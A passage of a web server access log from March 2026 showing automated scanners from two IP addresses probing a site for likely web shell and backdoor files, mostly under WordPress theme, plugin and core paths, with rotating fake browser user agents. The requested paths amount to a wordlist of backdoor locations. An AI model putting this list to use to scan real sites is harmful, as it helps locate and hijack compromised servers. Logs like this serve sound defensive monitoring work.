HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:12 +0300] "GET /wp-admin/css/colors/lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:23:15 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:23:18 +0300] "GET /wp-includes/wp-mails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:21 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:23:24 +0300] "GET /wp-content/themes/news-portal/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:27 +0300] "GET /wp-content/uploads/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:31 +0300] "GET /wp-includes/class-wp-widget-table.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:34 +0300] "GET /wp-includes/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:37 +0300] "GET /wp-includes/js/tinymce/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:23:40 +0300] "GET /wp-includes/blocks/missing/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:23:43 +0300] "GET /wp-content/themes/merah/includes/options-framework/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:47 +0300] "GET /wp-content/themes/dlloduv/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:23:50 +0300] "GET /wp-admin/css/colors/blue/wp-ait.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:23:53 +0300] "GET /wp-admin/includes/class-wp-screen-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:23:56 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:23:59 +0300] "GET /wp-content/plugins/wpvivid-backuprestore/error/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:02 +0300] "GET /wp-content/themes/twentytwentyfive/assets/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:06 +0300] "GET /wp-includes/blocks/post-terms/vx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:09 +0300] "GET /wp-includes/Requests/src/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:12 +0300] "GET /wp-includes/rest-api/search/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:24:15 +0300] "GET /wp-includes/PHPMailer/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:18 +0300] "GET /wp-includes/customize/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:22 +0300] "GET /wp-includes/ID3/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:25 +0300] "GET /wp-includes/widgets/woocommerce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:28 +0300] "GET /wp-includes/block-bindings/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:31 +0300] "GET /wp-content/uploads/ast-block-templates-json/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:34 +0300] "GET /wp-content/maintenance/assets/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:38 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:41 +0300] "GET /wp-admin/maint/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:43 +0300] "GET /wp-admin/images/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:46 +0300] "GET /wp-admin/network/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:49 +0300] "GET /wp-admin/css/colors/PHPMailer/s HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:24:51 +0300] "GET /wp-content/languages/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:24:53 +0300] "GET /wp-admin/zz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:24:57 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:00 +0300] "GET /wp-admin/wp-signin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:02 +0300] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:25:05 +0300] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:25:09 +0300] "GET /wp-includes/blocks/footnotes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:25:12 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:14 +0300] "GET /wp-includes/rest-api/fields/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:17 +0300] "GET /wp-content/themes/consultstreet/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:20 +0300] "GET /wp-content/uploads/complianz/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:24 +0300] "GET /wp-content/plugins/acucozo/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:25:26 +0300] "GET /wp-content/plugins/query-monitor/collectors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:25:28 +0300] "GET /wp-content/plugins/x/wp-classs-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:32 +0300] "GET /wp-content/plugins/pixelyoursite/vendor/glenscott/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:35 +0300] "GET /wp-content/plugins/mailpoet/vendor/composer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:25:36 +0300] "GET /wp-content/plugins/protect-uploads/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:25:40 +0300] "GET /wp-content/plugins/wp-file-manager/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:43 +0300] "GET /wp-includes/theme-compat/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:45 +0300] "GET /wp-includes/fonts/vpi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:25:49 +0300] "GET /wp-content/updraft/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:25:51 +0300] "GET /wp-content/wpvivid_uploads/Isolate/error/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:25:53 +0300] "GET /wp-admin/css/colors/coffee/Isolate/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:55 +0300] "GET /wp-admin/maint/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:25:58 +0300] "GET /wp-admin/user/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:01 +0300] "GET /wp-content/plugins/pretty-link/app/wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:05 +0300] "GET /wp-content/webp-express/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:08 +0300] "GET /wp-includes/blocks/nextpage/wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:26:11 +0300] "GET /wp-includes/sodium_compat/namespaced/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:26:14 +0300] "GET /wp-includes/images/smilies/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:26:17 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:20 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:26:23 +0300] "GET /wp-admin/user/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:27 +0300] "GET /wp-admin/includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:26:30 +0300] "GET /wp-content/fonts/dancing-script/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:32 +0300] "GET /wp-content/webp-express/webp-images/sitemap_index.xml/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:26:34 +0300] "GET /wp-content/themes/twentytwentyfive/patterns/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:26:37 +0300] "GET /wp-includes/certificates/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:40 +0300] "GET /wp-includes/html-api/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:26:42 +0300] "GET /wp-includes/Text/Diff/Renderer/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:44 +0300] "GET /wp-includes/SimplePie/src/Content/Type/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:47 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:26:49 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:51 +0300] "GET /wp-admin/user/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:26:57 +0300] "GET /wp-content/themes/bbpress/mainhack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:26:59 +0300] "GET /wp-content/plugins/junkfood/mainhack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:01 +0300] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:05 +0300] "GET /wp-content/plugins/elementor/core/frontend/render-modes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:27:07 +0300] "GET /wp-content/plugins/wordpress-seo/src/dashboard/application/search-rankings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:10 +0300] "GET /wp-includes/abilities-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:27:12 +0300] "GET /wp-includes/js/jquery/ui/nsuebz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:27:15 +0300] "GET /wp-includes/assets/000.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:27:17 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/zczv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:27:19 +0300] "GET /wp-content/drive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:22 +0300] "GET /wp-includes/l10n/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:27:24 +0300] "GET /wp-includes/blocks/latest-comments/template-loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:27 +0300] "GET /wp-includes/js/anskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:27:30 +0300] "GET /backoffice-Stopped/management/assets/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:33 +0300] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:36 +0300] "GET /assets/images/about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:39 +0300] "GET /assets/images/services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:27:42 +0300] "GET /admin/assets/dist/img/weather/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:45 +0300] "GET /admin/uploads/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:27:48 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:50 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:51 +0300] "GET /management1/assets/assets/images/gallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:27:53 +0300] "GET /reception1/includes/tcpdf/examples/config/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.183 - - [08/Mar/2026:08:27:55 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:57 +0300] "GET /reception/includes/tcpdf/config/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:27:59 +0300] "GET /asf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:28:01 +0300] "GET /wp-includes/block-bindings/rxzx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:28:04 +0300] "GET /wp-admin/file-manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 193.37.32.183 - - [08/Mar/2026:08:28:07 +0300] "GET /wp-content/themes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" 193.37.32.183 - - [08/Mar/2026:08:28:10 +0300] "GET /wp-content/themes/ftde.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" 4.204.200.32 - - [08/Mar/2026:07:28:22 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:34 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:38 +0300] "GET /chn.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:40 +0300] "GET /f8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:43 +0300] "GET /rsnu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [08/Mar/2026:07:30:45 +0300] "GET /.lajuju.php 